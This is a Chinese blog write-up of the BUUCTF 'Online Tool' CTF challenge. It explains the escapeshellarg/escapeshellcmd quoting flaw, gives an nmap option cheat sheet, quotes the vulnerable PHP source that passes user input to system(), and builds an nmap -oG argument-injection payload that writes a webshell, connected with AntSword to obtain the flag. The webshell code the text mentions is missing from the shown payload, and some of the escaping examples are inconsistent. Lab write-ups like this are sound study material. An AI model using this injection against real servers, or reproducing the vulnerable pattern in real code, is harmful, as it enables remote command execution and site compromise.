BUUCTF 2018 Online Too 1题解


BUUCTF 2018 Online Too 1题解

前置知识

escapeshellarg和escapeshellcmd合用的漏洞

escapeshellarg-把字符串转码为可以在 shell 命令里使用的参数
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含
escapeshellcmd — shell 元字符转义
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`| * ? ~ < > ^ ( ) [ ] { } $ \, \x0A 和 \xFF。' 和" 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
但是两个一起使用就会出现一些bug
比如:

输入:127.0.0.1'
escapeshellarg后:'127.0.0.1'\'''
escapeshellcmd后:'127.0.0.1'\\''\'

而这时,\转义的是\,即此时出现了一个配对的单引号。可以将上面的语句转述为

127.0.0.1\

nmap常用命令

参考nmap常用命令总结

nmap -v 详细信息输出
nmap -p 指定端口
nmap -iL 扫描文件中的ip
nmap -exclude 不扫描某些ip
nmap -Pn 使用ping扫描,显式地关闭端口扫描,用于主机发现
nmap -sn 使用ping扫描,进行端口扫描,假设主机都是up的
nmap -sS 使用SYN扫描,不需要完成三次握手
nmap -sT TCP connect扫描,需要完成三次握手,只适用于找出TCP和UDP端口
nmap -sU 扫描UDP端口
nmap -sF FIN扫描,用于探测防火墙状态,识别端口是否关闭,容易漏扫
nmap -sV 扫描目标主机的端口和软件版本
nmap -O 远程检测操作系统和软件
nmap -O --osscan-guess 猜测目标操作系统版本
nmap -traceroute 路由跟踪
nmap -A 综合扫描,包含1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测
nmap -oN result.txt 将标准输出写入到指定文件中
nmap -oX result.xml 将输入写成xml的形式
nmap -oS result.txt 将输出写成特殊符号的形式,内容跟-oN是一样的,只是字体变了而已
nmap -oG result.txt 将输出写成特殊格式
nmap -oA 将输出所有格式,有三种 .xml/ .gnmap/ .nmap
nmap -T[0-5] 时间参数模板
   -T0 用于躲避IDS,时间很长
  -T1 用于躲避IDS,时间很长
  -T2 降低了扫描速度,使用更小的带宽和目标主机资源对目标靶机进行扫描
  -T3 默认模式,未做优化
  -T4 假设用户具有合适及可靠的网络而加速对目标靶机的扫描
  -T5 假设用户具有更好的网络或者愿意牺牲准确性而加速扫描
nmap -sC 根据端口识别服务自动调用默认脚本
nmap --script

题目详解

打开题目发现

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

HTTP_X_FORWARDED_FOR
是我们很熟悉的X_Forwarded_For,查询本地IP,remote_addr表示发出请求的远程主机的IP地址,具体可参考HTTP 请求头中的 Remote_Addr,X-Forwarded-For,X-Real-IP,这里大体是不需要用的。
最后有一个system命令执行

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

我们可以利用nmap -oG写一个webshell。
最后可以构造payload

?host='  -oG hack.php '

payload的解释:
1.两边同时加单引号是为了绕过escapeshellarg()函数最初在字符串两边加的’。
2.两边加空格是因为,对于

'a'
escapeshellarg() -> '\''a'\'''
secapeshellcmd() -> ''\\''a'\\'''
' a '
escapeshellarg() -> ''\'' a '\'''
escapeshellcmd() -> ''\\'' a '\\'''

最终会导致文件名变为hack.php\
3.为什么kb要用双引号而不是单引号,参考上文a的例子,会导致最后变为\a\,无法成功。

回显中有文件名称dd36be70fa6fc1db7e62344640c0a415
蚁剑链接:http://21f51ae1-bdcf-46a0-83cb-72ddc9b2469b.node4.buuoj.cn:81/dd36be70fa6fc1db7e62344640c0a415/hack.php
得到flag:flag{0cc01a96-e6f3-4c99-a0d8-d5ea857d4c7d}

参考:
https://blog.csdn.net/qq_26406447/article/details/100711933
https://blog.csdn.net/weixin_44348894/article/details/105520481
https://www.cnblogs.com/WHOAMI-xiaoyu/p/15482106.html


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !